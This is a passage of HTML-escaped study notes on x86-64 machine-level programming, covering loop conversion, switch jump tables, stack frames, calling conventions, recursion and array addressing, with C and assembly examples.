&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The initial conditional guards entrance to loop.&lt;/p&gt;
&lt;h3&gt;&quot;For&quot; Loop&lt;/h3&gt;
&lt;h4&gt;&quot;For&quot; Loop &quot;While&quot; Conversion&lt;/h4&gt;
&lt;p&gt;For Version:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for (Init; Test; Update)
  Body
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;While Version:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Init;
while (Test) {
  Body
  Update;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;&quot;For&quot; Loop &quot;Do-While&quot; Conversion&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1e8witfdlk.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Initial test can be optimized away.&lt;/p&gt;
&lt;h2&gt;Switch Statements&lt;/h2&gt;
&lt;h3&gt;Switch Statement Example&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;long switch_eg(long x, long y, long z) {
  long w = 1;
  switch (x) {
    case 1:
      w = y * z;
      break;
    case 2:
      w = y / z;
    /* Fall Through */
    case 3:
      w += z;
      break;
    case 5:
    case 6:
      w -= z;
      break;
    default:
      w = 2;
    }
  return w;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Multiple case labels: 5 &amp;amp; 6&lt;/li&gt;
&lt;li&gt;Fall through cases: 2&lt;/li&gt;
&lt;li&gt;Missing cases: 4&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Switch Statement Example in Assembly&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;switch_eg:
  movq %rdx, %rcx
  cmpq $6, %rdi        # x:6
  ja   .L8             # use default
  jmp  *.L4(, %rdi, 8) # goto *JTab[x]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Note that &lt;code&gt;w&lt;/code&gt; not initialized here.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;:::tip
&lt;code&gt;ja .L8&lt;/code&gt; considering the result is unsigned, so its a smart way to tackle negative number.
:::&lt;/p&gt;
&lt;h3&gt;Jump Table Structure&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9rjp4r358w.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Jump Table&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;.section .rodata
  .align 8
.L4:
  .quad .L8 # x = 0
  .quad .L3 # x = 1
  .quad .L5 # x = 2
  .quad .L9 # x = 3
  .quad .L8 # x = 4
  .quad .L7 # x = 5
  .quad .L7 # x = 6
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Table Structure
&lt;ul&gt;
&lt;li&gt;Each target requires 8 bytes&lt;/li&gt;
&lt;li&gt;Base address at &lt;code&gt;.L4&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Jumping
&lt;ul&gt;
&lt;li&gt;Direct: &lt;code&gt;jmp .L8&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Jump target is denoted by label &lt;code&gt;.L8&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Indirect: &lt;code&gt;jmp *.L4(, %rdi, 8)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Start of jump table: &lt;code&gt;.L4&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Must scale by factor of 8 (addresses are 8 bytes)&lt;/li&gt;
&lt;li&gt;Fetch target from effective address &lt;code&gt;.L4 + %rdi * 8&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Only for &lt;code&gt;0 &amp;lt;= x &amp;lt;= 6&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3d5395ln4u.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7p3wgp5cmz.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6f0zadnyrf.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8adk300sp3.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8ojztv9het.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Procedures&lt;/h2&gt;
&lt;h3&gt;Stack Structure&lt;/h3&gt;
&lt;h4&gt;x86-64 Stack&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Region of memory managed with stack discipline&lt;/li&gt;
&lt;li&gt;Grows toward lower addresses&lt;/li&gt;
&lt;li&gt;Register &lt;code&gt;%rsp&lt;/code&gt; contains lowest stack address
&lt;ul&gt;
&lt;li&gt;address of &quot;top&quot; element&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6ikl8nrzmw.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;Push&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pushq src&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Fetch operand at &lt;code&gt;src&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Decrement &lt;code&gt;%rsp&lt;/code&gt; by 8&lt;/li&gt;
&lt;li&gt;Write operand at address given by &lt;code&gt;%rsp&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Pop&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;popq dest&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Read value at address given by &lt;code&gt;%rsp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Increment &lt;code&gt;%rsp&lt;/code&gt; by 8&lt;/li&gt;
&lt;li&gt;Store value at &lt;code&gt;dest&lt;/code&gt; (must be register)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Calling Conventions&lt;/h3&gt;
&lt;h4&gt;Procedure Control Flow&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Use stack to support procedure call and return&lt;/li&gt;
&lt;li&gt;Procedure call: &lt;code&gt;call label&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Push return address (address of the next instruction right after call) on stack&lt;/li&gt;
&lt;li&gt;Jump to label&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Procedure return: &lt;code&gt;ret&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Pop address from stack&lt;/li&gt;
&lt;li&gt;Jump to address&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Managing local data&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;First 6 arguments are passing by registers: &lt;code&gt;%rdi&lt;/code&gt;, &lt;code&gt;%rsi&lt;/code&gt;, &lt;code&gt;%rdx&lt;/code&gt;, &lt;code&gt;%rcx&lt;/code&gt;, &lt;code&gt;%r8&lt;/code&gt;, &lt;code&gt;%r9&lt;/code&gt;, other more arguments will store in stack&lt;/li&gt;
&lt;li&gt;Only allocate stack space when needed&lt;/li&gt;
&lt;li&gt;Return value store in &lt;code&gt;%rax&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Stack Frames&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Contents
&lt;ul&gt;
&lt;li&gt;Return information&lt;/li&gt;
&lt;li&gt;Local storage (if needed)&lt;/li&gt;
&lt;li&gt;Temporary space (if needed)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Management
&lt;ul&gt;
&lt;li&gt;Space allocated when enter procedure
&lt;ul&gt;
&lt;li&gt;&quot;Set-up&quot; code&lt;/li&gt;
&lt;li&gt;Includes push by &lt;code&gt;call&lt;/code&gt; instruction&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Deallocated when return
&lt;ul&gt;
&lt;li&gt;&quot;Finish&quot; code&lt;/li&gt;
&lt;li&gt;Includes pop by &lt;code&gt;ret&lt;/code&gt; instruction&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.39lhc0ris7.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;x86-64 / Linux Stack Frame&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Current Stack Frame (&quot;Top&quot; to Bottom)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Argument build: Parameters for function about to call&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Local variables&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If can&apos;t keep in registers&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Saved register context&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Old frame pointer (optional)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Caller Stack Frame&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Return address&lt;/li&gt;
&lt;li&gt;Arguments for this call&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5q7pqzavmk.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
As we often see the program often allocates more space on the stack than it really needs to, its because some conventions about trying to keep addresses on aligned.
:::&lt;/p&gt;
&lt;h3&gt;Register Saving Conventions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Caller Saved
&lt;ul&gt;
&lt;li&gt;Caller saves temporary values in its frame before the call&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Callee Saved
&lt;ul&gt;
&lt;li&gt;Callee saves temporary values in its frame before using&lt;/li&gt;
&lt;li&gt;Callee restores them before returning to caller&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;x86-64 Linux Register Usage 1&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;%rax&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Return value&lt;/li&gt;
&lt;li&gt;Also caller-saved&lt;/li&gt;
&lt;li&gt;Can be modified by procedure&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;%rdi&lt;/code&gt;, &lt;code&gt;%rsi&lt;/code&gt;, &lt;code&gt;%rdx&lt;/code&gt;, &lt;code&gt;%rcx&lt;/code&gt;, &lt;code&gt;%r8&lt;/code&gt;, &lt;code&gt;%r9&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Arguments&lt;/li&gt;
&lt;li&gt;Also caller-saved&lt;/li&gt;
&lt;li&gt;Can be modified by procedure&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;%r10&lt;/code&gt;, &lt;code&gt;%r11&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Caller-saved&lt;/li&gt;
&lt;li&gt;Can be modified by procedure&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6ikl8s2wb5.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;x86-64 Linux Register Usage 2&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;%rbx&lt;/code&gt;, &lt;code&gt;%r12&lt;/code&gt;, &lt;code&gt;%r13&lt;/code&gt;, &lt;code&gt;%r14&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Callee-saved&lt;/li&gt;
&lt;li&gt;Callee must save &amp;amp; restore&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;%rbp&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Callee-saved&lt;/li&gt;
&lt;li&gt;Callee must save &amp;amp; restore&lt;/li&gt;
&lt;li&gt;May be used as frame pointer&lt;/li&gt;
&lt;li&gt;Can mix &amp;amp; match&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;%rsp&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Special form of callee save&lt;/li&gt;
&lt;li&gt;Restored to original value upon exit from procedure&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3nrx2zr8ta.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Recursion Example&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;long pcount_r(unsigned long x) {
  if (x == 0)
    return 0;
  else:
    return (x &amp;amp; 1) + pcount_r(x &amp;gt;&amp;gt; 1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;pcount_r:
  movl  $0, %eax
  testq %rdi, %rdi
  je    .L6
  pushq %rbx
  movq  %rdi, %rbx
  andl  $1, %ebx
  shrq  %rdi
  call  pcount_r
  addq  %rbx, %rax
  popq  %rbx
.L6:
  rep; ret
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Handled Without Special Consideration (just using normal calling conventions)
&lt;ul&gt;
&lt;li&gt;Stack frames mean that each function call has private storage
&lt;ul&gt;
&lt;li&gt;Saved registers &amp;amp; local variables&lt;/li&gt;
&lt;li&gt;Saved return pointer&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Register saving conventions prevent one function call from corrupting another&apos;s data
&lt;ul&gt;
&lt;li&gt;Unless the C code explicitly does so&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Stack discipline follows call / return pattern
&lt;ul&gt;
&lt;li&gt;If P calls Q, then Q returns before P&lt;/li&gt;
&lt;li&gt;Last-In, First-Out&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Also works for mutual recursion
&lt;ul&gt;
&lt;li&gt;P calls Q; Q calls P&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Arrays&lt;/h2&gt;
&lt;h3&gt;One-dimensional Array&lt;/h3&gt;
&lt;h4&gt;Array Allocation&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;T A[L];&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Array of data type &lt;code&gt;T&lt;/code&gt; and length &lt;code&gt;L&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Contiguously allocated region of &lt;code&gt;L * sizeof(T)&lt;/code&gt; bytes in memory&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Array Access&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;T A[L];&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Array of data type &lt;code&gt;T&lt;/code&gt; and length &lt;code&gt;L&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Identifier &lt;code&gt;A&lt;/code&gt; can be used as a pointer to array element 0: Type &lt;code&gt;T *&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Array Accessing Example&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;#define ZLEN 5

typedef int zip_dig[ZLEN];

int get_digit(zip_dig z, int digit) {
  return z[digit];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;movl (%rdi, %rsi, 4), %eax # z[digit]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Register &lt;code&gt;%rdi&lt;/code&gt; contains starting address of array&lt;/li&gt;
&lt;li&gt;Register &lt;code&gt;%rsi&lt;/code&gt; contains array index&lt;/li&gt;
&lt;li&gt;Desired digit at &lt;code&gt;%rdi + 4 * %rsi&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Array Loop Example&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;void zincr(zip_dig z) {
  size_t i;
  for (i = 0; i &amp;lt; ZLEN; i++) {
    z[i]++;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;  movl $0, %eax            # i = 0
  jmp .L3                  # goto middle
.L4:                       # loop:
  addl $1, (%rdi, %rax, 4) # z[i]++
  addq $1, %rax            # i++
.L3:                       # middle
  cmpq $4, %rax            # i:4
  jbe .L4                  # if &amp;lt;=, goto loop
  rep; ret
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Multidimensional (Nested) Arrays&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;T A[R][C]&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;2D array of data type &lt;code&gt;T&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;R&lt;/code&gt; rows, &lt;code&gt;C&lt;/code&gt; columns&lt;/li&gt;
&lt;li&gt;Type &lt;code&gt;T&lt;/code&gt; element requires &lt;code&gt;K&lt;/code&gt; bytes&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Array Size
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;R * C * K&lt;/code&gt; bytes&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Arrangement
&lt;ul&gt;
&lt;li&gt;Row-Major Ordering&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7plbjvas4.avif&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4cl6nntgbl.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Nested Array Example&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;#define ZLEN 5
#define PCOUNT 4

typedef int zip_dig[ZLEN];

zip_dig pgh[PCOUNT] = {
  {1, 5, 2, 0, 6},
  {1, 5, 2, 1, 3},
  {1, 5, 2, 1, 7},
  {1, 5, 2, 2, 1}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;zip_dig pgh[4]&lt;/code&gt; is equivalent to &lt;code&gt;int pgh[4][5]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.175ooqal1z.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Nested Array Row Access&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Row Vectors
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;A[i]&lt;/code&gt; is array of &lt;code&gt;C&lt;/code&gt; elements&lt;/li&gt;
&lt;li&gt;Each element of type &lt;code&gt;T&lt;/code&gt; requires &lt;code&gt;K&lt;/code&gt; bytes&lt;/li&gt;
&lt;li&gt;Starting address &lt;code&gt;A + i*(C*K)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6wr10b882r.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;Nested Array Row Access Example&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;int *get_pgh_zip(int index) {
  return pgh[index];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;leaq (%rdi, %rdi, 4), %rax # 5*index
leaq pgh(, %rax, 4), %rax  # pgh + (20*index)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Row Vector
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pgh[index]&lt;/code&gt; is array of 5 &lt;code&gt;int&lt;/code&gt;&apos;s&lt;/li&gt;
&lt;li&gt;Starting address &lt;code&gt;pgh + 20*index&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Machine Code
&lt;ul&gt;
&lt;li&gt;Computes and returns address&lt;/li&gt;
&lt;li&gt;Compute as &lt;code&gt;pgh + 4*(index + 4*index)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9o038eo5qn.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;Nested Array Element Access Example&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;Array Elements
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;A[i][j]&lt;/code&gt; is element of type &lt;code&gt;T&lt;/code&gt;, which requires &lt;code&gt;K&lt;/code&gt; bytes&lt;/li&gt;
&lt;li&gt;Address &lt;code&gt;A + i*(C*K) + j*K = A + (i*C + j)*K&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.41ycuj7kl1.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;Nested Array Element Access Example&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;int get_pgh_digit(int index, int dig) {
  return pgh[index][dig];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;leaq (%rdi, %rdi, 4), %rax # 5*index
addl %rax, %rsi            # 5*index + dig
movl pgh(, %rsi, 4), %eax  # M[pgh + 4*(5*index + dig)]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Array Elements
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pgh[index][dig]&lt;/code&gt; is &lt;code&gt;int&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Address: &lt;code&gt;Mem[pgh + 20*index + 4*dig] = Mem[pgh + 4*(5*index + dig)]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.175oor97dc.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Multi-Level Array&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;zip_dig cmu = {1, 5, 2, 1, 3};
zip_dig mit = {0, 2, 1, 3, 9};
zip_dig ucb = {9, 4, 7, 2, 0};

#define UCOUNT 3

int *univ[UCOUNT] = {mit, cmu, ucb};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Variable &lt;code&gt;univ&lt;/code&gt; denotes array of 3 elements&lt;/li&gt;
&lt;li&gt;Each element is a pointer (8 bytes)&lt;/li&gt;
&lt;li&gt;Each pointer points to array of &lt;code&gt;int&lt;/code&gt;&apos;s&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1vyy8s8cdr.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Element Access in Multi-Level Array&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;int get_univ_digit(size_t index, size_t digit) {
  return univ[index][digit];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;salq $2, %rsi              # 4*digit
addq univ(, %rdi, 8), %rsi # p = univ[index] + 4*digit
movl (%rsi), %eax          # return *p
ret
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Element access &lt;code&gt;Mem[Mem[univ + 8*index] + 4*digit]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Must do two memory reads
&lt;ul&gt;
&lt;li&gt;First get pointer to row array&lt;/li&gt;
&lt;li&gt;Then access element within array&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;N x N Matrix&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Fixed dimensions
&lt;ul&gt;
&lt;li&gt;Know value of &lt;code&gt;N&lt;/code&gt; at compile time&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#define N 16

typedef int fix_matrix[N][N];

/* Get element A[i][j] */
int fix_ele(fix_matrix A, size_t i, size_t j) {
  return A[i][j];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Variable dimensions, explicit indexing
&lt;ul&gt;
&lt;li&gt;Traditional way to implement dynamic arrays&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#define IDX(n, i, j) ((i)*(n)+(j))

/* Get element A[i][j] */
int vec_ele(size_t n, int *A, size_t i, size_t j) {
  return A[IDX(n,i,j)];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Variable dimensions, explicit indexing
&lt;ul&gt;
&lt;li&gt;Now supported by gcc&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/* Get element A[i][j] */
int var_ele(size_t n, int A[n][n], size_t i, size_t j) {
  return A[i][j];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;N x N Matrix Access&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Array Elements
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;size_t n;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;int A[n][n];&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Address &lt;code&gt;A + i*(C*K) + j*K&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C = n, K = 4&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Must perform integer multiplication&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/* Get element A[i][j] */
int var_ele(size_t n, int A[n][n], size_t i, size_t j) {
  return A[i][j];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;imulq %rdx, %rdi           # n*i
leaq (%rsi, %rdi, 4), %rax # A + 4*n*i
movl (%rax, %rcx, 4), %eax # A + 4*n*i + 4*j
ret
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Understanding Pointers &amp;amp; Array&lt;/h3&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.32i9hg2rcu.avif&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.54y25hs26z.avif&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.77dutjr9u7.avif&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cmp: Compiles (Y/N)&lt;/li&gt;
&lt;li&gt;Bad: Possible bad pointer reference (Y/N)&lt;/li&gt;
&lt;li&gt;Size: Value returned by &lt;code&gt;sizeof&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Structures&lt;/h2&gt;
